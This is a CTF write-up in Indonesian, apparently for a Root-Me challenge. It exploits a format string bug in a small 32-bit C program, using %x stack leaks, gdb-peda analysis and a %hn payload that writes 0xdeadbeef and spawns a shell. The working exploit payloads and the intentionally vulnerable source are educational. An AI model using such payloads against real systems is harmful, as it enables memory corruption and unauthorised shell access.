Quest
Diberikan source code dan binary dari soal.
#include <stdio.h>
#include <stdlib.h>
/*
gcc -m32 -o formatstring formatstring2.cpp
*/
int main(int argc, char ** argv)
{
int var;
int check = 0x04030201;
char fmt[128];
if(argc<2)
exit(0);
memset(fmt, 0, sizeof(fmt));
printf("Check at 0x%x\n", &check);
printf("argv[1] = [%s]\n", argv[1]);
snprintf(fmt, sizeof(fmt), argv[1]);
if((check!= 0x04030201) && (check!= 0xdeadbeef))
printf("\nYou are on the rigth way\n");
printf("fmt = [%s]\n", fmt);
printf("check=0x%x\n", check);
if(check == 0xdeadbeef){
printf("Yeah\n");
system("/bin/dash");
}
return 0;
}
Tugas kita disini adalah untuk mengoverwrite variable check
agar berisi 0xdeadbeef
. Input pada binary tersebut dimasukkan melalui argumen saat menjalan kan program. Apabila kita coba masukan argumen asal program akan menampilkan sebagai berikut
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring AAAA
Check at 0xff90c178
argv[1] = [AAAA]
fmt = [AAAA]
check=0x4030201
Apabila kita lihat source code pada program. Program memiliki format string vulnerable.
Format string adalah type data yang akan dievaluasi oleh bahasa c. Terdapat beberapa type data yang dimiliki oleh bahasa c.
Untuk mengecek vulnerable ini kita dapat menginputkan %x
kedalam program
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring '%x'
Check at 0xffa05ef8
argv[1] = [%x]
fmt = [565e16ba]
check=0x4030201
Ooops alamat pada variable cek berubah. Kita matikan dahulu ASLR pada komputer agar exploit yang kita lakukan lebih mudah.
sudo echo 0 > /proc/sys/kernel/randomize_va_space
Terdapat beberapa exploitasi yang dapat dilakukan dengan format string vuln. Namun yang akan kita dibahas disini adalah melihat isi memori, dan mengoverwrite memori.
Apabila kita memberikan input '%x' pada program. Program akan mencetak isi memori pada alamat tersebut.
Kita coba debug dengan debugger kesayangan kita gdb + peda untuk melihat isi stack.
alfakatsuki@justPC:~/Desktop/RootMe$ gdb -q formatstring
Reading symbols from formatstring...(no debugging symbols found)...done.
gdb-peda$ b *main #kita pasang breakpoint di main
gdb-peda$ r AAAABBBB #kita coba jalankan dengan payload AAAABBBB tersebut
gdb-peda$ pdisas main #berikut adalah informasi disassembly dari fungsi main
Dump of assembler code for function main:
=> 0x565556a0 <+0>: lea ecx,[esp+0x4]
0x565556a4 <+4>: and esp,0xfffffff0
0x565556a7 <+7>: push DWORD PTR [ecx-0x4]
0x565556aa <+10>: push ebp
0x565556ab <+11>: mov ebp,esp
0x565556ad <+13>: push ebx
0x565556ae <+14>: push ecx
0x565556af <+15>: sub esp,0xa0
0x565556b5 <+21>: call 0x56555570 <__x86.get_pc_thunk.bx>
0x565556ba <+26>: add ebx,0x1902
0x565556c0 <+32>: mov eax,ecx
0x565556c2 <+34>: mov edx,DWORD PTR [eax+0x4]
0x565556c5 <+37>: mov DWORD PTR [ebp-0x9c],edx
0x565556cb <+43>: mov ecx,DWORD PTR gs:0x14
0x565556d2 <+50>: mov DWORD PTR [ebp-0xc],ecx
0x565556d5 <+53>: xor ecx,ecx
0x565556d7 <+55>: mov DWORD PTR [ebp-0x90],0x4030201
0x565556e1 <+65>: cmp DWORD PTR [eax],0x1
0x565556e4 <+68>: jg 0x565556f0 <main+80>
0x565556e6 <+70>: sub esp,0xc
0x565556e9 <+73>: push 0x0
0x565556eb <+75>: call 0x56555510
0x565556f0 <+80>: sub esp,0x4
0x565556f3 <+83>: push 0x80
0x565556f8 <+88>: push 0x0
0x565556fa <+90>: lea eax,[ebp-0x8c]
0x56555700 <+96>: push eax
0x56555701 <+97>: call 0x56555520
0x56555706 <+102>: add esp,0x10
0x56555709 <+105>: sub esp,0x8
0x5655570c <+108>: lea eax,[ebp-0x90]
0x56555712 <+114>: push eax
0x56555713 <+115>: lea eax,[ebx-0x16fc]
0x56555719 <+121>: push eax
0x5655571a <+122>: call 0x565554e0
0x5655571f <+127>: add esp,0x10
0x56555722 <+130>: mov eax,DWORD PTR [ebp-0x9c]
0x56555728 <+136>: add eax,0x4
0x5655572b <+139>: mov eax,DWORD PTR [eax]
0x5655572d <+141>: sub esp,0x8
0x56555730 <+144>: push eax
0x56555731 <+145>: lea eax,[ebx-0x16ed]
0x56555737 <+151>: push eax
0x56555738 <+152>: call 0x565554e0
0x5655573d <+157>: add esp,0x10
0x56555740 <+160>: mov eax,DWORD PTR [ebp-0x9c]
0x56555746 <+166>: add eax,0x4
0x56555749 <+169>: mov eax,DWORD PTR [eax]
0x5655574b <+171>: sub esp,0x4
0x5655574e <+174>: push eax
0x5655574f <+175>: push 0x80
0x56555754 <+180>: lea eax,[ebp-0x8c]
0x5655575a <+186>: push eax
0x5655575b <+187>: call 0x56555528
0x56555760 <+192>: add esp,0x10
0x56555763 <+195>: mov eax,DWORD PTR [ebp-0x90]
0x56555769 <+201>: cmp eax,0x4030201
0x5655576e <+206>: je 0x5655578f <main+239>
0x56555770 <+208>: mov eax,DWORD PTR [ebp-0x90]
0x56555776 <+214>: cmp eax,0xdeadbeef
0x5655577b <+219>: je 0x5655578f <main+239>
0x5655577d <+221>: sub esp,0xc
0x56555780 <+224>: lea eax,[ebx-0x16dd]
0x56555786 <+230>: push eax
0x56555787 <+231>: call 0x565554f8
0x5655578c <+236>: add esp,0x10
0x5655578f <+239>: sub esp,0x8
0x56555792 <+242>: lea eax,[ebp-0x8c]
0x56555798 <+248>: push eax
0x56555799 <+249>: lea eax,[ebx-0x16c3]
0x5655579f <+255>: push eax
0x565557a0 <+256>: call 0x565554e0
0x565557a5 <+261>: add esp,0x10
0x565557a8 <+264>: mov eax,DWORD PTR [ebp-0x90]
0x565557ae <+270>: sub esp,0x8
0x565557b1 <+273>: push eax
0x565557b2 <+274>: lea eax,[ebx-0x16b7]
0x565557b8 <+280>: push eax
0x565557b9 <+281>: call 0x565554e0
0x565557be <+286>: add esp,0x10
0x565557c1 <+289>: mov eax,DWORD PTR [ebp-0x90]
0x565557c7 <+295>: cmp eax,0xdeadbeef
0x565557cc <+300>: jne 0x565557f2 <main+338>
0x565557ce <+302>: sub esp,0xc
0x565557d1 <+305>: lea eax,[ebx-0x16ab]
0x565557d7 <+311>: push eax
0x565557d8 <+312>: call 0x565554f8
0x565557dd <+317>: add esp,0x10
0x565557e0 <+320>: sub esp,0xc
0x565557e3 <+323>: lea eax,[ebx-0x16a6]
0x565557e9 <+329>: push eax
0x565557ea <+330>: call 0x56555500
0x565557ef <+335>: add esp,0x10
0x565557f2 <+338>: mov eax,0x0
0x565557f7 <+343>: mov edx,DWORD PTR [ebp-0xc]
0x565557fa <+346>: xor edx,DWORD PTR gs:0x14
0x56555801 <+353>: je 0x56555808 <main+360> #kita coba break disini
0x56555803 <+355>: call 0x56555890 <__stack_chk_fail_local>
0x56555808 <+360>: lea esp,[ebp-0x8]
0x5655580b <+363>: pop ecx
0x5655580c <+364>: pop ebx
0x5655580d <+365>: pop ebp
0x5655580e <+366>: lea esp,[ecx-0x4]
0x56555811 <+369>: ret
gdb-peda$ b *0x56555801 #kita pasang breakpoint diakhir akhir sebelum program berakhir untuk melihat isi stack
gdb-peda$ c
Berikut adalah informasi yang kita dapatkan
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x56556fbc --> 0x1edc
ECX: 0x7ffffff0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fa5000 --> 0x1b5db0
EBP: 0xffffce88 --> 0x0
ESP: 0xffffcde0 --> 0x5d9ebbe2
EIP: 0x56555801 (<main+353>: je 0x56555808 <main+360>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565557f2 <main+338>: mov eax,0x0
0x565557f7 <main+343>: mov edx,DWORD PTR [ebp-0xc]
0x565557fa <main+346>: xor edx,DWORD PTR gs:0x14
=> 0x56555801 <main+353>: je 0x56555808 <main+360>
| 0x56555803 <main+355>: call 0x56555890 <__stack_chk_fail_local>
| 0x56555808 <main+360>: lea esp,[ebp-0x8]
| 0x5655580b <main+363>: pop ecx
| 0x5655580c <main+364>: pop ebx
|-> 0x56555808 <main+360>: lea esp,[ebp-0x8]
0x5655580b <main+363>: pop ecx
0x5655580c <main+364>: pop ebx
0x5655580d <main+365>: pop ebp
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffcde0 --> 0x5d9ebbe2
0004| 0xffffcde4 --> 0x3f6
0008| 0xffffcde8 --> 0xf7e80629 (add esi,0x1249d7)
0012| 0xffffcdec --> 0xffffcf34 --> 0xffffd12d ("/home/alfakatsuki/Desktop/RootMe/formatstring")
0016| 0xffffcdf0 --> 0xffffce2e --> 0x0
0020| 0xffffcdf4 --> 0x1
0024| 0xffffcdf8 --> 0x4030201
0028| 0xffffcdfc ("AAAABBBB")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x56555801 in main ()
gdb-peda$
Kita breakpoint setelah program mencetak sehingga hasil output dapat di lihat
Check at 0xffffcdf8
argv[1] = [AAAABBBB]
fmt = [AAAABBBB]
check=0x4030201
Kita coba examine memori tempat AAAABBBB
( atau dalam heksanya 0x41414141 0x42424242
) berada yaitu di alamat 0xfffcdfc
.
gdb-peda$ x/100wx 0xffffcdfc-32
0xffffcddc: 0x565556ba 0x5d9ebbe2 0x000003f6 0xf7e80629
0xffffcdec: 0xffffcf34 0xffffce2e 0x00000001 0x04030201
0xffffcdfc: 0x41414141 0x42424242 0x00000000 0x00000000
Terlihat ada beberapa isi binary yang menarik disana. Terdapat binary 0x04030201 yaitu isi dari variabel Check. Lalu 8 byte selanjutnya adalah isi dari argumen yang kita input kedalam program.
Alamat dari variabel check adalah 0xffffcdec
(Memori bagian kanan) + 12 = 0xffffcdf8
Sedangkan alamat pada AAAABBBB
adalah 0xffffcdfc
.
Kita telah mendebug program untuk melihat stack yang ada pada program. Kali ini kita akan gunakan vuln format strig dengan memasukan %x kedalam program. Kita akan memasukkan 'AAAABBBB%x%x%x%x%x%x%x%x%x%x%x'
. Kita dapat memasukkan beberapa %x untuk melihat 4 byte pada stack untuk setiap %x.
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring 'AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'
Check at 0xffffce28
argv[1] = [AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x]
fmt = [AAAABBBB.565556ba.9282e2ee.594.f7e80629.ffffcf64.ffffce5e.1.4030201.41414141.42424242.3536352e]
check=0x4030201
Kita dapat melihat isi stack yang kita examine sebelumnya sama persis dengan output yang dihasilkan. Kita dapat melihat stack dengan inputan %x.
Kita dapat pula langsung melihat isi stack pada %x keberapa yang kita inginkan. Kita ingin melihat isi stack pada %x ke 9 yaitu tempat AAAA
berada.
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring 'AAAABBBB.%9$x'
Check at 0xffffce48
argv[1] = [AAAABBBB.%9$x]
fmt = [AAAABBBB.41414141]
check=0x4030201
Kita berhasil melihat binary stack melalui inputan %x
. Untuk mengoverwrite memori, kita dapat melakukan exploitasi dengan memasukkan format string %hn / %n
. Dengan %hn kita akan memasukkan jumlah bytes yang telah kita tulis kedalam memori yang ditunjuk pada stack yang ada. Singkatnya apabila payload kita adalah AAAABBBB%9$hn
kita akan menulis 8 desimal pada alamat memori 0x41414141
(yang mana memori ini akan invalid).
Jika kita ingin men overwrite isi dari variabel check, maka kita harus mengisi dengan alamat dari variabel check. Alamat yang kita gunakan adalah alamat yang kita gunakan adalah yang muncul pada terminal kita yaitu alamat 0xFFFFCE48
. Entah karena apa saya juga belum tau kenapa alamat variabel di gdb berbeda dengan alamat memori di mesin kita walaupun kita telah mematikan aslr :).
Kita akan coba payload kita untuk mengubah isi variabel. Kita gunakan python untuk mencetak binary dari alamat tersebut. Karena memori diisi dengan little endian maka kita rubah dulu alamat kita menjadi
0xffffce48
-> \x48\xce\xff\xff
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x48\xce\xff\xff%9$n"')
Check at 0xffffce48
argv[1] = [H���%9$n]
You are on the rigth way
fmt = [H���]
check=0x4
Yes. Kita berhasil mengoverwrite isi dari variabel check walau belum sesuai dengan yang diinginkan.
Kita menginginkan untuk mengoverwrite variabel check menjadi 0xdeadbeef
. Dengan menggunakan %hn kita hanya dapat mengubah isi variabel hingga 2 byte (atau setara dengan 4 karakter). Karena itu payload kita pisah dahulu menjadi dua.
Yaitu payload untuk memasukkan 0xdead
di memori 0xffffce48
dan 0xbeef di memori 0xffffce48
+ 2 bytes atau dalam hexa adalah 0xffffce4a
.
Seperti inilah layout dari payload yang akan kita inputkan
Alamat memori 0xdead | Alamat memori 0xbeef | %(Bytes kurang)x |
%(posisi isi memori)$hn |
%(Bytes kurang |
%(posisi isi memori)$hn |
---|---|---|---|---|---|
\x48\xce\xff\xff |
\x4a\xce\xff\xff |
? | %9$hn |
? | %10$hn |
Kita masih memiliki data yang kurang yaitu berapa tepatnya bytes yang harus kita tuliskan untuk menulis 0xdead dan 0xbeef.
Kita coba cari dengan python berapa desimal dari bilangan tersebut
>>> 0xdead
57005
>>> 0xbeef
48879
- untuk menuliskan
0xbeef
. Kita harus menuliskan 48879 bytes. Untuk menuliskan dua alamat'\x48\xce\xff\xff\x4a\xce\xff\xff'
kita sudah menuliskan 8 bytes. Sehingga kita akan menuliskan 48871 bytes tanda tanya ke-satu =%48871x
- untuk menuliskan
0xdead
. Kita harus menuliskan 57005 bytes. Kita telah meuliskan total byte 48879 bytes. Sehingga bytes yang kurang tinggal kurangkan saja :). yaitu 8126. tanda tanya ke-satu =%8126x
Payload yang kita punya akhirnya lengkap.
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x48\xce\xff\xff\x4a\xce\xff\xff%48871x%9$hn%8126x%10$hn"')
Check at 0xffffce38
argv[1] = [H���J���%48871x%9$hn%8126x%10$hn]
fmt = [H���J��� � ]
check=0x4030201
Oops Ternyata tidak teroverwrite. Kita lihat ternyata stack yang ada berubah karena banyaknya inputan yang kita masukkan. Kita sesuaikan inputan agar sesuai dengan alamat pada check menjadi '\x38\xce\xff\xff\x3a\xce\xff\xff'
Kita coba kembali
alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x38\xce\xff\xff\x3a\xce\xff\xff%48871x%9$hn%8126x%10$hn"')
Check at 0xffffce38
argv[1] = [8���:���%48871x%9$hn%8126x%10$hn]
fmt = [8���:��� ]
check=0xdeadbeef
Yeah
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare)
$ whoami
alfakatsuki
Kita berhasil mengoverwrite isi dari check menjadi 0xdeadbeef
dan mendapatkan shell. Tinggal jalankan pada service dan kita dapatkan flag. Soal yang menarik dan membuat saya banyak belajar mengenai format string :).